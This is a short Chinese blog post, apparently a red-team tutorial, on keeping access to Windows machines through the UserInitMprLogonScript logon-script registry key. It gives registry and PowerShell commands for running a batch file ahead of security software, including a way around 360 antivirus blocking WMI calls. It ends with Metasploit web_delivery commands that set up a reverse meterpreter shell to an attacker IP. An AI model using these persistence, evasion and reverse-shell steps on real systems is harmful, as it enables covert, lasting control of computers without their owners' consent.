Windows权限维持之LogonScripts

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

简介

Logon Scripts是系统的登录脚本,这里说一个特别用法, Logon Scripts能够优先于安全软件执行,绕过安全软件对敏感操作的拦截,本文将具体介绍这个技巧。

Logon Scripts用法

拦截测试

cmd输入如下代码(安全软件拦截)

1
wmic ENVIRONMENT create name="AnonySec",username="%username%",VariableValue="Logon Scripts!"
image-20200106154300834

设置Logon Scripts

1.bat代码如下

1
2
3
4
wmic ENVIRONMENT create name="AnonySec",username="%username%",VariableValue="Logon Scripts!"
reg query HKEY_CURRENT_USER\Environment /V AnonySec

pause

启用Logon Scripts

注册表路径:HKCU\Environment

创建字符串键值: UserInitMprLogonScript

键值设置为bat的绝对路径:C:\1.bat

绕过360对wmi调用的拦截

由于调用WMI会被拦截,可以通过powershell实现添加注册表键值,启动Logon Scripts,代码如下:

1
New-ItemProperty "HKCU:Environment" UserInitMprLogonScript -value "C:\1.bat" -propertyType string | Out-Null
image-20200106163734655

重新登录

注销计算机重新登录。如果注册表HKCU\Environment成功被写入键值AnonySec REG_SZ Logon Scripts!,说明Logon Scripts优先于安全软件执行,绕过安全软件的限制。

image-20200106163454621

上线C2

以MSF为例,可以直接生成payload,利用Logon Scripts反弹msf shell,进行权限的维持。

1
2
3
4
5
6
7
sudo msfconsole -q
msf5 > use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set target 2
msf5 exploit(multi/script/web_delivery) > set payload windows/x64/meterpreter/reverse_http
msf5 exploit(multi/script/web_delivery) > set lhost 10.11.42.99
msf5 exploit(multi/script/web_delivery) > set lport 5353
msf5 exploit(multi/script/web_delivery) > run -j

LogonScripts